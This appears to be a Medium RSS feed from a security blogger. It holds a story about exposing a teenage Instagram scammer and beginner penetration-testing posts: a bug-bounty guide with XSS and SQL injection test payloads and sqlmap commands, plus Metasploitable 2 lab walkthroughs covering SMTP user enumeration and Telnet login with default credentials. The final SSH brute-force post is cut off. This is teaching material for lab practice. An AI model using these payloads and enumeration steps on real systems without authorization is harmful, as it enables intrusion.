<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Taahir Mujawarr on Medium]]></title>
        <description><![CDATA[Stories by Taahir Mujawarr on Medium]]></description>
        <link>https://medium.com/@thefellowhacker?source=rss-f08e17c956d0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*vu8SEvnodypu5lQl4WUA_w.jpeg</url>
            <title>Stories by Taahir Mujawarr on Medium</title>
            <link>https://medium.com/@thefellowhacker?source=rss-f08e17c956d0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 11:59:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thefellowhacker/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Instagram Scam Gone Wrong: A Teen Scammer, A Cybersecurity Enthusiast & A Lesson in Ethics]]></title>
            <link>https://medium.com/@thefellowhacker/instagram-scam-gone-wrong-a-teen-scammer-a-cybersecurity-enthusiast-a-lesson-in-ethics-8bc576ad51df?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/8bc576ad51df</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybercrime]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Fri, 21 Mar 2025 10:32:15 GMT</pubDate>
            <atom:updated>2025-03-21T10:32:15.382Z</atom:updated>
            <content:encoded><![CDATA[<p>The 15-Year-Old Scammer Who Almost Got Away — Until He Didn’t</p><blockquote><strong>About the Author</strong></blockquote><p>I am a cybersecurity enthusiast with a passion for ethical hacking, bug bounty hunting, and digital investigations. With hands-on experience in penetration testing, automation with Bash scripting, and security analysis, I actively contribute to the cybersecurity community by sharing insights and real-world case studies. My journey includes certifications like CEH v12 and recognition in platforms like TryHackMe. Through my Medium stories, I aim to educate and spread awareness about cybersecurity threats, ethical hacking techniques, and digital safety.</p><h3>🔍 <strong>It all started with a follow request…</strong></h3><p>On March 12, 2025, I sent a follow request to an Instagram account with the username **<strong>priya***</strong> and received a follow back shortly after. Upon reviewing the profile details, I found something suspicious and decided to initiate a conversation. I messaged her the same day and received a reply the next day.</p><h3>The Money Demand : March 13, 2025</h3><p>After exchanging a few messages, she asked me for money to buy a watch and sent me a QR code for payment. Upon scanning the QR code, I noticed that the registered account holder was <strong>Gaurav B — </strong>not a grocery store as she claimed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*8XxghRNQsxrnMSze_MF6jA.jpeg" /><figcaption>QR code sent by the scammer (Edited for security purpose)</figcaption></figure><p>To verify her story, I examined her followers and searched for people named <strong>Gaurav</strong>. She had initially stated that the QR code belonged to a nearby grocery store owner. However, I discovered that <strong>Gaurav B</strong> appeared to be around <strong>14–15 years old</strong>, which raised further suspicion. How could a grocery store owner be that young? When I questioned her, she continued insisting that I transfer the money.</p><h3>Testing Her Intentions : March 14–15, 2025</h3><p>Since I was already skeptical, I deliberately postponed the payment by telling her that my <strong>UPI account was not active</strong> due to a <strong>SIM recharge issue</strong>. Shortly after, I confronted her directly, asking <strong>why she was scamming people?</strong>. She denied it, claiming she intended to <strong>return the money later</strong>. When I pressured her further, she continued to deny scamming anyone.</p><p>I then sent her a copy of my <strong>CEH v12 certification </strong>&amp; pictures of my <strong>high-performance computer</strong>, hoping to put some pressure on her. This prompted her to call me via Instagram, where she apologized and reiterated that she wasn’t scamming anyone. She claimed that the <strong>QR code belonged to a friend named Gaurav B</strong>. However, shortly after, the QR code stopped working — likely because <strong>Gaurav disabled it</strong>. When I asked for Gaurav’s phone number, she refused, saying she would provide it later.</p><p>This was my first <strong>confirmation </strong>that my suspicions were correct. She later mentioned that her parents <strong>don’t give her money or show her love</strong>, which she used as an excuse for asking for money to buy a watch.</p><h3>📞 <strong>Tracing the Truth : </strong>March 16, 2025</h3><p>On March 16, 2025, she reached out to me again, asking me to <strong>increase her Instagram followers</strong>, assuming I had hacking skills. She then sent me another <strong>Instagram account</strong>, claiming it belonged to her cousin. I refused, explaining that I do not engage in illegal activities.</p><h3><strong>The Victim’s Side of the Story : </strong>March 17, 2025</h3><p>By March 17, I decided to investigate further. I reached out to some of her suspicious followers to check if they had been scammed. One of them, <strong>Deejay</strong>, confirmed that he had been a victim.</p><h3>🔎 <strong>Calling 1930: Seeking Legal Guidance</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NCs8sX-Gi23xVnNR1BkEeA.jpeg" /><figcaption>Called Cyber Crime Helpline Number</figcaption></figure><p>That evening, I called the <strong>1930 Cyber Crime Helpline</strong> and spoke to a police officer, who advised me to file an online complaint. However, given that the scammer was a <strong>minor</strong> and the scam involved a small amount (<strong>₹350</strong>), I decided to educate him rather than file an official complaint.</p><h3>Confirming the Scam : March 18, 2025</h3><p>I reviewed the chat history and found messages where the scammer <strong>verbally abused people who refused to send money</strong>. Through the messages, I learned that <strong>Deejay </strong>(victim) had transferred <strong>₹350</strong> in two transactions ( <strong>₹200 + ₹150</strong>) on <strong>March 10 and march 11, 2025</strong> respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*cuB_76BP1Rh7aAMRk5t9Nw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*ksZhkYGPTGC5vL08G_9MyQ.jpeg" /><figcaption>Victim sent money through his friend’s UPI on 10th &amp; 11th March 2025 ( <strong>₹200 + ₹150 </strong>) to the <strong>scammer</strong></figcaption></figure><p>I immediately called <strong>Deejay </strong>(victim) to confirm this and then set up a conference call between him and <strong>Scammer Gaurav</strong>.</p><p>During the call, I made <strong>Gaurav apologize</strong> to Deejay (victim) and promise to return the money the next day (<strong>March 19, 2025</strong>). I also instructed him to <strong>upload a public apology</strong> on the **<strong>priya***</strong> Instagram account and reveal the truth about the scam.</p><h3>March 19, 2025: Refund Process</h3><p>I woke up late that day around <strong>1 PM</strong> and found that <strong>Gaurav had sent me ₹400</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_jHCFflJiow0pP6vVSrXw.jpeg" /><figcaption>Scammer sent me <strong>₹400 on march 19th 2025</strong></figcaption></figure><p>I then contacted Deejay(victim) and asked him for a <strong>screenshot as proof</strong> of his past transactions so that I could refund the exact amount. At <strong>4:36 PM</strong>, after receiving confirmation, I sent Deejay his <strong>₹350 back</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8AhdRibwyuPkUo6DBu1BXw.jpeg" /></figure><h3>Attempting to Inform the Scammer’s Parents</h3><p>After completing the refund process, I tried calling <strong>Gaurav</strong> multiple times to inform his <strong>parents</strong> about his actions, but he did not pick up.</p><h3>🚔 <strong>When the Police Got Involved : </strong>March 19, 2025</h3><p>At around <strong>8 PM</strong>, I received a call from an <strong>unknown number</strong>. The caller introduced herself as an officer from <strong>Shirwal Police Station</strong> and discussed the matter with me. She informed me that <strong>Gaurav had voluntarily approached the police</strong> and admitted to his wrongdoing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7P5_T96i2M7c8xOtP7Tw4w.jpeg" /></figure><p>I explained to her that, since Gaurav was just <strong>15 years old</strong>, I chose not to file a complaint but rather to give him a <strong>second chance</strong> and <strong>educate him</strong> instead. However, I expressed concern that his parents should be informed so they could monitor his activities and prevent him from repeating such mistakes.</p><p>The officer informed me that <strong>Gaurav’s mobile phone had fallen into the water</strong>, which is why he wasn’t answering my calls. She also requested that I <strong>refrain from contacting him</strong>, as he was <strong>scared and crying</strong>. She assured me that she would <strong>summon his parents to the police station on March 20, 2025</strong>, to discuss the situation and would inform me about the outcome.</p><h3>The Confession story</h3><p>Later that night, I checked Instagram and saw that <strong>Gaurav had uploaded the apology story</strong> on the **<strong>priya***</strong> account. Shortly after, the account was <strong>deactivated</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVW0qX6N5IJ7v0xpcot5MQ.jpeg" /><figcaption><strong>Scammer uploaded public apology story </strong>(In marathi)</figcaption></figure><h3>March 20, 2025: Returning the Remaining Balance</h3><p>On March 20, 2025, I recalled that <strong>Gaurav </strong>(Scammer) <strong>had sent me ₹400</strong>, but the refund amount was only ₹350. I intended to return the remaining <strong>₹50</strong>, but due to an unknown deduction, my balance showed <strong>₹49</strong> instead. I transferred <strong>₹49 back to Scammer </strong>via UPI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hCazMdn1tOZOPp5tM36ng.jpeg" /><figcaption>Sent his extra <strong>₹49 to </strong>scammer back</figcaption></figure><blockquote><strong><em>Don’t hesitate to connect with me on …</em></strong></blockquote><p>👨🏻‍💻 <a href="https://github.com/TheFellowHacker"><strong>Github </strong></a>🔗 <a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a>🐦 <a href="https://x.com/thefellowhacker"><strong>thefellowhacker </strong></a>🅾 <a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><p>💡 <strong>Lessons Learned</strong></p><ol><li><strong>Cybersecurity is not just about hacking — it’s about ethics and responsibility.</strong></li><li><strong>Social engineering scams are evolving</strong>, and even kids are getting involved.</li><li><strong>Digital forensics and OSINT can expose online frauds</strong> when used effectively.</li><li><strong>Sometimes, educating is better than punishing</strong>, especially when dealing with young offenders.</li></ol><h3>Conclusion</h3><p>This experience was a stark reminder of the <strong>rising number of online scams</strong> and how easily minors can be manipulated into fraudulent activities. Instead of immediately resorting to legal action, I chose a more <strong>educational approach</strong>, ensuring that the scammer learned a lesson while also <strong>protecting victims</strong> from financial loss.</p><p>Let this be a lesson to everyone: <strong>Always verify online requests for money, stay alert, and report any suspicious activities to the authorities.</strong></p><blockquote>If you found this story intriguing, give it a 👏, save it for later, and hit follow! More real-life cybersecurity encounters, police interventions, and lessons in justice are coming your way! 🚔🔍</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8bc576ad51df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recon Done, Now What? A Beginner’s Guide to Finding Bugs After Recon!]]></title>
            <link>https://systemweakness.com/recon-done-now-what-a-beginners-guide-to-finding-bugs-after-recon-e13177674833?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/e13177674833</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Wed, 12 Mar 2025 10:20:32 GMT</pubDate>
            <atom:updated>2025-03-12T15:05:53.356Z</atom:updated>
            <content:encoded><![CDATA[<p>By <strong>Taahir Mujawarr</strong>, Certified Ethical Hacker &amp; Cyber Security Researcher</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OVOlFCoctJ7PuTYgN6jzDA.png" /><figcaption>Recon Done, Now What? A Beginner’s Guide to Finding Bugs After Recon! — By Taahir Mujawarr</figcaption></figure><p>Hey 👋 cyber adventurers! <strong>Taahir Mujawarr</strong> here, bringing you a strategic guide to navigating the complexities of cybersecurity after recon. You’ve completed your reconnaissance phase — now it’s time to turn that data into real security findings. This guide will walk you through subdomain analysis, technology identification, content discovery, and, most importantly, vulnerability exploitation. Let’s uncover cyberspace’s secrets and forge a safer digital frontier together!</p><h3>Step 1: Organize and Review Recon Data</h3><p>Before diving into exploitation, you need to structure your data for efficiency.</p><h3>Checklist:</h3><p>✅ <strong>Subdomains</strong> — Identify forgotten or test subdomains that may contain vulnerabilities.</p><p>✅ <strong>Open Ports</strong> — Look for exposed services like SSH (22), FTP (21), HTTP (80), HTTPS (443), and more.</p><p>✅ <strong>JS File Analysis</strong> — Extract API keys, endpoints, or sensitive data from JavaScript files.</p><p>✅ <strong>CMS &amp; Technology Detection</strong> — Identify frameworks like WordPress, Joomla, Laravel, etc.</p><p>✅ <strong>Sensitive Files</strong> — Check for .git, .env, robots.txt, backups, and configuration files.</p><p>✅ <strong>Parameter Discovery</strong> – Use tools like gau, waybackurls, and paramspider to find dynamic parameters.</p><h3>Step 2: Web Application Testing (OWASP Top 10)</h3><p>Now that your data is structured, it’s time to test for vulnerabilities. The <strong>OWASP Top 10</strong> is a great starting point.</p><h3>Key Vulnerabilities to Check:</h3><ul><li><strong>Cross-Site Scripting (XSS):</strong> Inject &lt;script&gt;alert(1)&lt;/script&gt; into input fields.</li><li><strong>SQL Injection (SQLi):</strong> Test payloads like &#39; OR &#39;1&#39;=&#39;1 in login forms or URL parameters.</li><li><strong>Insecure Direct Object References (IDOR):</strong> Change user_id=123 to user_id=124 and check access control.</li><li><strong>Server-Side Request Forgery (SSRF):</strong> Attempt to fetch internal/external URLs through vulnerable endpoints.</li><li><strong>Broken Authentication:</strong> Look for weak passwords, rate limits, and session hijacking vulnerabilities.</li><li><strong>Security Misconfigurations:</strong> Analyze HTTP headers, CORS issues, and exposed admin panels.</li><li><strong>Directory Enumeration:</strong> Use ffuf and dirsearch to discover hidden directories and files.</li></ul><h3>Step 3: Automate Where Possible</h3><p>Bug bounty hunting can be overwhelming, so automation is key. Use tools to speed up your testing.</p><h3>Essential Tools:</h3><ul><li><strong>Burp Suite</strong> — Intercept and modify requests.</li><li><strong>Nuclei</strong> — Automate security scanning using templates.</li><li><strong>XSS &amp; SQLi Scanners:</strong></li></ul><pre>sqlmap -u &quot;http://target.com?id=1&quot; --dbs dalfox url http://target.com/test.php?param=123</pre><p><strong>JavaScript &amp; API Key Extraction:</strong></p><pre>gospider -d 2 -t 10 -s &quot;https://target.com&quot; cat urls.txt | gf api-keys</pre><h3>Step 4: Reporting &amp; Proof of Concept (PoC)</h3><p>If you find a vulnerability, document everything! A well-documented report increases your chances of a successful bug submission.</p><h3>What to Include:</h3><p>✅ <strong>Vulnerability Details:</strong> What type of bug is it? (XSS, SQLi, IDOR, etc.)</p><p>✅ <strong>Impact Analysis:</strong> Explain why this is critical.</p><p>✅ <strong>Proof of Concept:</strong> Screenshots or video demonstrations.</p><p>✅ <strong>Steps to Reproduce:</strong> Provide clear step-by-step instructions.</p><p>✅ <strong>Submit via Platform:</strong> Report on <strong>Bugcrowd, HackerOne, or the company’s security page</strong>.</p><blockquote><strong><em>I look forward to connecting with you on social media.</em></strong></blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/TheFellowHacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://www.x.com/thefellowhacker/"><strong>thefellowhacker</strong></a><strong> 🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><h3>Bonus Tip: Think Beyond Automation</h3><p>If automated tools don’t find critical bugs, pivot your approach. Look for <strong>business logic flaws, privilege escalation opportunities, or DNS takeovers.</strong> Think like an attacker, but act responsibly as an ethical hacker!</p><h3>Conclusion</h3><p>Recon is just the beginning. What sets skilled hunters apart is how they act on that information. By following this structured approach, you’ll move beyond just finding subdomains and start uncovering real security vulnerabilities.</p><p><em>Researching takes considerable time. If you found this helpful, a </em><strong><em>Like</em></strong><em>, </em><strong><em>share</em></strong><em>, or </em><strong><em>follow</em></strong><em> would be greatly appreciated. </em><strong><em>Your support fuels</em></strong><em> our cyber journey!</em></p><p><strong>Bye bye Hackers ! Happy Hunting! 💪</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lF6WWM66_yTkozUz70Jg_g.png" /><figcaption>Recon Done, Now What? A Beginner’s Guide to Finding Bugs After Recon! — By Taahir Mujawarr</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e13177674833" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/recon-done-now-what-a-beginners-guide-to-finding-bugs-after-recon-e13177674833">Recon Done, Now What? A Beginner’s Guide to Finding Bugs After Recon!</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting SMTP on Metasploitable 2: Unveiling the Power of Port 25]]></title>
            <link>https://medium.com/@thefellowhacker/exploiting-smtp-on-metasploitable-2-unveiling-the-power-of-port-25-4fab583855f8?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fab583855f8</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Thu, 26 Sep 2024 05:07:30 GMT</pubDate>
            <atom:updated>2024-09-26T05:07:30.068Z</atom:updated>
            <content:encoded><![CDATA[<p>👋 Hello everyone, I’m Taahir Mujawarr, and I’m back with another exciting article! As a cybersecurity enthusiast with expertise in ethical hacking and bug bounty hunting, I’m passionate about uncovering vulnerabilities and sharing insights to help you sharpen your security skills.</p><figure><img alt="Exploiting SMTP on Metasploitable 2 by Taahir Mujawarr" src="https://cdn-images-1.medium.com/max/1024/1*d5PhLUNzrHPNv6LsZ6A0PQ.png" /></figure><blockquote><strong>Before we begin, check out my previous articles on setting up Metasploitable 2 and exploiting ports 21, 22, and 23.</strong></blockquote><p><a href="https://medium.com/@thefellowhacker">Taahir Mujawarr - Medium</a></p><p>As ethical hackers, finding vulnerabilities in systems is our bread and butter. Today, we’re diving into <strong>port 25 (SMTP)</strong> on Metasploitable 2 and learning how to exploit the SMTP service using Postfix smtpd. Whether you&#39;re preparing for bug bounty programs or just enhancing your skills, this guide will walk you through the entire process from scanning to enumeration.</p><h4>Step 1: Scanning with Nmap</h4><p>The first step in any penetration test is scanning. We’ll use nmap to discover open ports and services running on the target machine. Run the following command:</p><pre>nmap -p -sV -Pn 192.168.35.129</pre><figure><img alt="Exploiting SMTP on Metasploitable 2 by Taahir Mujawarr" src="https://cdn-images-1.medium.com/max/1024/1*k5r9I4Mh2Ypec4rYdSsozg.png" /></figure><p>This scans host to check if an SMTP service is running and identifies the version of the service.</p><h4>Step 2: Searching for SMTP Enumeration in Metasploit</h4><p>Now, let’s jump into <strong>Metasploit</strong> to enumerate users on the SMTP service. Fire up Metasploit with the following command:</p><pre>msfconsole -q</pre><p>This starts Metasploit in quiet mode. Next, search for an SMTP enumeration auxiliary module:</p><pre>search smtp_enum</pre><figure><img alt="Exploiting SMTP on Metasploitable 2 by Taahir Mujawarr" src="https://cdn-images-1.medium.com/max/1024/1*xc8SkcrmoywhsyOEMoNl7Q.png" /></figure><p>The result will show us the module we’re interested in: auxiliary/scanner/smtp/smtp_enum.</p><h4>Step 3: Using the SMTP Enumeration Module</h4><p>Now, let’s load the module using the use command:</p><pre>use 0</pre><p>This will select the first result from the search, which is our SMTP enumeration module. Next, we’ll display the available options using:</p><pre>show options</pre><figure><img alt="Exploiting SMTP on Metasploitable 2 by Taahir Mujawarr" src="https://cdn-images-1.medium.com/max/1024/1*avNxE0p4B6i-Cg5ty4cf5A.png" /></figure><h4>Step 4: Setting the Target IP and Threads</h4><p>Before launching the exploit, we need to set the <strong>RHOSTS</strong> (target IP) and <strong>THREADS</strong> (to speed up the enumeration):</p><pre>set RHOSTS 192.168.35.129<br>set THREADS 100</pre><figure><img alt="Exploiting SMTP on Metasploitable 2 by Taahir Mujawarr" src="https://cdn-images-1.medium.com/max/742/1*4kITszt-efUc1_s6WdC_tg.png" /></figure><h4>Step 5: Running the Exploit to Enumerate Users</h4><p>With everything configured, it’s time to run the exploit and start enumerating users on the target system:</p><pre>exploit</pre><figure><img alt="Exploiting SMTP on Metasploitable 2 by Taahir Mujawarr" src="https://cdn-images-1.medium.com/max/1024/1*5laPLs6D9xTcVXfS-6Qszg.png" /></figure><p>You should see output showing any usernames found on the system.</p><h4>Step 6: Gaining Access with Netcat</h4><p>To dig deeper, we’ll connect to the SMTP service directly using <strong>Netcat</strong>. This can give us additional insights or access. Run the following command:</p><pre>nc 192.168.35.129 25</pre><p>You should see a banner indicating that the SMTP service is running.</p><h4>Step 7: Verifying Users</h4><p>Now that we’re connected, we can use the VRFY command to verify the existence of specific users. Try the following commands:</p><pre>VRFY mail<br>VRFY sshd</pre><figure><img alt="Exploiting SMTP on Metasploitable 2 by Taahir Mujawarr" src="https://cdn-images-1.medium.com/max/754/1*xy9Xab5Gx9IV-nR0bmMMQg.png" /></figure><p>This confirms whether the mail and sshd users exist on the system, which could be useful for further exploitation.</p><h3>Conclusion: Wrapping Up the Exploit</h3><p>In this walkthrough, we exploited port 25 on Metasploitable 2 using various tools and techniques. From scanning with <strong>Nmap</strong>, enumerating users with <strong>Metasploit</strong>, to directly interacting with the service using <strong>Netcat</strong>, this tutorial covered the essentials of SMTP exploitation.</p><p>If you found this guide helpful, give it a clap 👏, save it for later, and don’t forget to follow! I’ll be covering all the remaining ports in Metasploitable 2, so stay tuned for more hacking adventures! 🚀</p><blockquote><strong><em>Don’t hesitate to connect with me on …</em></strong></blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/TheFellowHacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://x.com/thefellowhacker"><strong>thefellowhacker </strong></a><strong>🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><p>Till then, <strong>Happy Hacking! Bye bye</strong>… 👋</p><figure><img alt="Exploiting SMTP on Metasploitable 2 by Taahir Mujawarr" src="https://cdn-images-1.medium.com/max/1024/1*Dr0swx7xCm8t9p6NioTzqw.jpeg" /><figcaption>👋 <strong>Bye bye Hackers…</strong></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fab583855f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Telnet Takedown: The Port 23 Exploit on Metasploitable 2, Part III]]></title>
            <link>https://medium.com/@thefellowhacker/telnet-takedown-the-port-23-exploit-on-metasploitable-2-part-iii-a10a6e15b468?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/a10a6e15b468</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[metasploitable]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Sat, 14 Sep 2024 00:31:25 GMT</pubDate>
            <atom:updated>2024-09-14T00:31:25.953Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@thefellowhacker">Taahir Mujawarr - Medium</a></p><p>👋 Hello guys, I’m Taahir Mujawarr and I’m back with anoter interesting article. I’m a cybersecurity enthusiast with expertise in ethical hacking and bug bounty hunting. Passionate about finding vulnerabilities, I share insights to help others learn and improve their security skills.</p><p>Before proceeding, please ensure you have reviewed my previous articles, where I provided detailed instructions on downloading and setting up Metasploitable 2 in VMware, as well as guides on exploiting ports 21 and 22.</p><p><a href="https://osintteam.blog/exploit-like-a-pro-walkthrough-of-metasploitable-2-with-metasploit-part-i-cf9d332b6c8c">Exploit Like a Pro: Walkthrough of Metasploitable 2 with Metasploit Part I</a></p><p>In the world of ethical hacking, one of the most vulnerable points to attack is the infamous <strong>Telnet service on port 23</strong>. For this article, I’ll walk you through how I successfully exploited Telnet on a vulnerable machine — <strong>Metasploitable 2</strong> — and gained root access. Let’s dive into the process of exploiting this open door in a controlled environment.</p><p><strong>1. Scanning for Open Ports</strong></p><p>To begin the exploit, I launched an Nmap scan to identify open ports on the Metasploitable 2 machine:</p><pre>nmap -sV 192.168.35.129</pre><p>The scan revealed the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSEX6PPgk8fVWfAVxu1Kpg.png" /><figcaption>Nmap Scan Result</figcaption></figure><pre>PORT     STATE SERVICE     VERSION<br>21/tcp   open  ftp         vsftpd 2.3.4<br>22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)<br>23/tcp   open  telnet      Linux telnetd</pre><p>Among other open services, <strong>port 23 (Telnet)</strong> caught my attention, primarily because Telnet is known for its lack of security and plain-text communication.</p><p><strong>2. Connecting to Telnet</strong></p><p>With Telnet open, I used a basic Telnet connection to access the machine:</p><pre>telnet 192.168.35.129</pre><p>Almost instantly, I was greeted by the system’s login prompt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*mZpc67exZS3OgWFonHU-jw.png" /><figcaption>Connected to telnet</figcaption></figure><pre>Trying 192.168.35.129...<br>Connected to 192.168.35.129.<br>Escape character is &#39;^]&#39;.<br><br>Metasploitable 2 login</pre><p>We can clearly see credentials msfadmin/msfadmin, so simply I entered login and password as mentioned and yeyyy I’m in hackers ...😜</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*vnqYvluipjwoo7tZtA05GQ.png" /><figcaption>Loggend In to telnet port</figcaption></figure><p><strong>3. Accessing the Shell</strong></p><p>After logging in, I confirmed my user privileges and system information with some simple commands:</p><pre>id<br>ifconfig</pre><p><strong>Output:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2jd_AGLQARU5_GjhcAK4xg.png" /><figcaption>Got access to shell 💀</figcaption></figure><pre>uid=1000(msfadmin) gid=1000(msfadmin) groups=...<br>inet addr:192.168.35.129</pre><p>I had successfully gained <strong>shell access</strong> to the Metasploitable 2 machine via Telnet. At this point, I could run commands as the msfadmin user and navigate the system.</p><p><strong>4. Moving Toward Privilege Escalation</strong></p><p>Although having access as the msfadmin user is useful, gaining root privileges is the ultimate goal. Metasploitable 2 is designed to be vulnerable, and by exploring the system further, it’s possible to elevate privileges and eventually gain <strong>root access</strong>.</p><p>One of the ways to achieve this is by exploiting known vulnerabilities within the system, either through manual commands or using tools like <strong>Metasploit</strong>.</p><blockquote><strong><em>Don’t hesitate to connect with me on … </em></strong>👇🏻</blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/TheFellowHacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://x.com/thefellowhacker"><strong>thefellowhacker </strong></a><strong>🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><p>If you found this story helpful, don’t forget to follow, clap, and share it with others! Save it for later.</p><p><strong>Conclusion</strong></p><p>Exploiting Telnet on Metasploitable 2 highlights the risks of leaving outdated services and default credentials exposed, which can lead to severe security breaches. This exercise serves as a valuable learning experience for beginners, demonstrating how easily vulnerable systems can be compromised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iFgVI-YUUy2hx0N1ju_OhA.jpeg" /><figcaption><strong>Happy hacking! Bye bye, hackers 👋</strong></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a10a6e15b468" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Art of Brute-Forcing: My Journey Exploiting SSH on Metasploitable 2  Part 2]]></title>
            <link>https://medium.com/@thefellowhacker/the-art-of-brute-forcing-my-journey-exploiting-ssh-on-metasploitable-2-2ad75c747668?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ad75c747668</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[metasploitable2]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Tue, 10 Sep 2024 09:52:50 GMT</pubDate>
            <atom:updated>2024-09-10T10:08:41.346Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@thefellowhacker">Taahir Mujawarr - Medium</a></p><p>In this blog post, I’ll walk you through exploiting the OpenSSH 4.7p1 service running on port 22 of <strong>Metasploitable 2</strong>. While there’s no known major remote vulnerability for OpenSSH 4.7p1, I successfully brute-forced my way in and obtained SSH credentials. Let’s dive into the technical details!</p><p>Before proceeding, be sure to check out my previous story where I explained how to set up Metasploitable 2 in a virtual environment and demonstrated how to exploit port 21 (vsftpd 2.3.4) using Metasploit.</p><p><a href="https://osintteam.blog/exploit-like-a-pro-walkthrough-of-metasploitable-2-with-metasploit-part-i-cf9d332b6c8c">Exploit Like a Pro: Walkthrough of Metasploitable 2 with Metasploit Part I</a></p><h3>Step 1: Setting Up Metasploitable 2</h3><p>Metasploitable 2 is a vulnerable virtual machine that provides a safe environment to practice penetration testing. After downloading and setting it up in VirtualBox, I confirmed that SSH was running on port 